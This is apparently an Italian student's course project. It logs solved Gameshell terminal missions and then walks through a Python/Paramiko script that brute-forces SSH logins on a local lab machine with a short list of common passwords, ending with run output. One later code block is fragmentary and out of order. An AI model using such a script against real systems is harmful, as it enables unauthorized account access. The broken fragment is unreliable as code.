

W8D4

Progetto finale M2

Introduzione e spiegazione di Gameshell

*-Gameshell e' un gioco educativo che serve per imparare i comandi della shell cioe' del terminale. In pratica ti da' delle piccole missioni e obiettivi da raggiungere usando i comandi come **cd,ls,mv,mkdir, ls -a** ecc..*

E' un modo divertente per far pratica e prendere confidenza con il terminale in un ambiente di gioco.

L' esercizio richiede di risolvere almeno 10 livelli e di allegare le foto dell'avvenuta risoluzione degli enigmi.

```

kali@kali: ~/Desktop
File Actions Edit View Help

~/Castle/Great_hall
[mission 10] $ cp standard_1 standard_2 standard_3 standard_4
Command 'cp' not found, did you mean:
  command 'fcopy' from deb fai-client
  command 'rcopy' from deb rdmach-utils
  command 'copy' from deb liborder-tools
  command 'bcopy' from deb bacula-sd
  command 'cozy' from deb cozy
  command 'mcopy' from deb mtools
  command 'copyq' from deb copyq
Try: sudo apt install <deb name>

~/Castle/Great_hall
[mission 10] $ cp standard_1 standard_2 standard_3 standard_4
cp: target 'standard_4': Not a directory

~/Castle/Great_hall
[mission 10] $ cp standard_1 standard_2 standard_3 standard_4 ../Forest/Hut/Castle/
cp: target '../Forest/Hut/Castle/': No such file or directory

~/Castle/Great_hall
[mission 10] $ cp standard_1 standard_2 standard_3 standard_4 ../Forest/Hut/Chest/

~/Castle/Great_hall
[mission 10] $ gsh check

Congratulations, mission 10 has been successfully completed!
[ progress was saved in /home/kali/Desktop/gameshell-save.sh ]

|-----|
| Use the command |
| $ gsh help      |
| to get the list of "gsh" commands. |
|-----|

~/Castle/Great_hall
[mission 11] $

```

```

kali@kali: ~/Desktop
File Actions Edit View Help

|-----|
| Use the command |
| $ gsh help      |
| to get the list of "gsh" commands. |
|-----|

~/Castle/Main_tower/First_floor
[mission 15] $ ls
painting_Kr5hMvvh painting_mFHGDFFU painting_PYChXCM Second_floor/

~/Castle/Main_tower/First_floor
[mission 15] $ nano Journal.txt

~/Castle/Main_tower/First_floor
[mission 15] $ ls
Journal.txt painting_Kr5hMvvh painting_mFHGDFFU painting_PYChXCM Second_floor/

~/Castle/Main_tower/First_floor
[mission 15] $ mv Journal.txt ../Forest/Hut/Chest

~/Castle/Main_tower/First_floor
[mission 15] $ gsh check

Congratulations, mission 15 has been successfully completed!
[ progress was saved in /home/kali/Desktop/gameshell-save.sh ]

|-----|
| Use the command |
| $ gsh help      |
| to get the list of "gsh" commands. |
|-----|

~/Castle/Main_tower/First_floor
[mission 16] $

```

Ho deciso di completare 15 livelli per il progetto finale del secondo mese , ma ammetto che il gioco e' sia molto divertente che molto educativo. Lo utilizzerò per imparare meglio i comandi del terminale

Esercizio Facoltativo

Creazione di un programma in Python BruteForce -SSH

- L'obiettivo dell'esercizio e' di testare la sicurezza di un servizio SSH utilizzando la tecnica del BruteForce cioe' provare piu' password finche' non si trovi quella corretta.*
- Utilizzeremo una nuova libreria chiamata Paramiko che gestira' le connessioni SSH.*
- Verra' eseguito in rete locale e con macchine virtuali a nostra disposizione*

Limiti del programma:

il programma funzionera' solo con password semplici , un server reale bloccherebbe i tentativi

Spiegazione del programma

Importiamo per prima cosa le librerie paramiko per la gestione SSH e time per utilizzare piccoli ritardi tra i tentativi come fatto già' nei precedenti esercizi.

*Funzione che prova una password e restituisce un esito:
def tenta_login(host, port, username, password):*

True -> password corretta

False -> password errata

None -> errore di connessione

Creazione client ssh – autoaddpolicy accetta automaticamente la chiave del server :

client = paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

Tenta la connessione , se non viene sollevata un' eccezione la password e' giusta chiude e torna a TRUE:

try:

client.connect(hostname=host, port=port,

username=username,

password=password, timeout=2)

client.close()

return True

Credenziali sbagliate :

except paramiko.AuthenticationException:

return False

*Qualsiasi altro problema tra cui rete, porta chiusa, ecc.. dara'
esito: Errore di connessione :*

```
except Exception as e:  
print(f"[!] Errore di connessione: {e}")  
return None
```

Configurazione host, porta username e passwords:

```
host = "127.0.0.1" # IP  
port = 22 # porta SSH  
username = "student" # utente  
passwords = ["1234", "student", "kali", "toor", "password"]
```

Messaggio di avvio:

```
print(f"[*] Avvio brute-force SSH su {host} con utente  
{username}")
```

Tentativi:

```
for pwd in passwords:  
print(f"[+] Provo password: {pwd}")  
risultato = tenta_login(host, port, username, pwd)
```

Esito , True ha trovato la pass , False continua con la prossima,

None problema di rete

```
if risultato is True:  
print(f"[4 ] Password trovata: {pwd}")  
break
```

```
elif risultato is False:  
print(f"[-] Password errata")  
time.sleep(0.5)
```

```
else:  
print(f"[!] Errore di connessione. Interrompo.")  
break
```

```
def tenta_login(host, port, username, password):
    return False
except Exception as e:
    print(f"[!] Errore: {e}")
    return None

# --- Configurazione ---
host = "127.0.0.1"
port = 22
username = "kali"

# Lista di password direttamente nel codice
passwords = ["1234", "password", "kali", "toor", "student"]

[*] Avvio brute-force SSH su 127.0.0.1 con utente 'kali'
[*] Provo password: 1234
[!] Errore: [Errno None] Unable to connect to port 22 on 127.0.0.1
[!] Problema di connessione, interrompo

[*] Avvio brute-force SSH su 192.168.50.100 con utente 'kali'
[*] Provo password: 1234
[!] Errore: timed out
[!] Problema di connessione, interrompo

[*] Avvio brute-force SSH su 127.0.0.1 con utente 'kali'
[*] Provo password: 1234
[-] Password errata
[*] Provo password: password
[-] Password errata
[*] Provo password: kali
[-] Password trovata: kali
```

Importante:
Nell'esercizio verra' incluso il file .py

Conclusioni finali e valutazioni personali

***Il brute-force funziona solo se le password sono deboli o
presenti nella lista.***

Con password complesse, diventa impraticabile.

***Già con pochi meccanismi di sicurezza, l'attacco diventa molto
lento o inefficace.***